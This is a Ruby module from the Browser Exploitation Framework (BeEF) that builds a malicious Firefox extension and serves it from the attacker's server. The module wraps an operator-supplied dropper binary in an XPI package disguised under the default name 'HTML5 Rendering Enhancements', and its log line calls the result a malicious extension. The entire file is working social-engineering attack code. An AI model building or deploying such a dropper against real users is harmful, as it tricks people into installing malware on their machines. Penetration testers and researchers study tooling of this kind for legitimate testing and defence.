Path: blob/master/modules/social_engineering/firefox_extension_dropper/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Firefox_extension_dropper < BeEF::Core::Command6class Bind_extension < BeEF::Core::Router::Router7before do8headers 'Content-Type' => 'application/x-xpinstall',9'Pragma' => 'no-cache',10'Cache-Control' => 'no-cache',11'Expires' => '0'12end1314get '/' do15response['Content-Type'] = 'application/x-xpinstall'16extension_path = settings.extension_path17print_info "Serving malicious Firefox Extension (Dropper): #{extension_path}"18send_file extension_path.to_s,19type: 'application/x-xpinstall',20disposition: 'inline'21end22end2324def pre_send25# gets the value configured in the module configuration by the user26@datastore.each do |input|27@extension_name = input['value'] if input['name'] == 'extension_name'28@xpi_name = input['value'] if input['name'] == 'xpi_name'29end3031mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_dropper"32extension_path = "#{mod_path}/extension"3334# clean the build directory35FileUtils.rm_rf("#{extension_path}/build/.", secure: true)3637# retrieve the name of the dropper binary38Dir.foreach("#{mod_path}/dropper") do |item|39if item != 'readme.txt' && item != '.' && item != '..'40@dropper = item41print_info "Using dropper: '#{mod_path}/dropper/#{@dropper}'"42end43end44if @dropper.nil?45print_error "No dropper found in '#{mod_path}/dropper'"46return47end4849# copy in the build directory necessary file, substituting placeholders50File.open("#{extension_path}/build/install.rdf", 'w') { |file| file.puts File.read("#{extension_path}/install.rdf").gsub!('__extension_name_placeholder__', @extension_name) }51File.open("#{extension_path}/build/bootstrap.js", 'w') { |file| file.puts File.read("#{extension_path}/bootstrap.js").gsub!('__payload_placeholder__', @dropper) }52File.open("#{extension_path}/build/overlay.xul", 'w') { |file| file.puts File.read("#{extension_path}/overlay.xul") }53File.open("#{extension_path}/build/chrome.manifest", 'w') { |file| file.puts File.read("#{extension_path}/chrome.manifest") }54FileUtils.cp "#{mod_path}/dropper/#{@dropper}", "#{extension_path}/build/#{@dropper}"5556extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest', @dropper]5758# create the XPI extension container59xpi = "#{extension_path}/#{@xpi_name}.xpi"60File.delete(xpi) if File.exist?(xpi)61Zip::File.open(xpi, Zip::File::CREATE) do |xpi|62extension_content.each do |filename|63xpi.add(filename, "#{extension_path}/build/#{filename}")64end65end6667# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specifi content-type/disposition)68bind_extension = Firefox_extension_dropper::Bind_extension69bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_dropper/extension/#{@xpi_name}.xpi"70BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)71BeEF::Core::Server.instance.remap72end7374def self.options75@configuration = BeEF::Core::Configuration.instance76proto = @configuration.beef_proto77beef_host = @configuration.beef_host78beef_port = @configuration.beef_port79base_host = "#{proto}://#{beef_host}:#{beef_port}"80[81{ 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' },82{ 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' },83{ 'name' => 'base_host', 'ui_label' => 'Download from', 'value' => base_host, 'width' => '150px' }84]85end8687def post_execute88save({ 'result' => @datastore['result'] })89end90end919293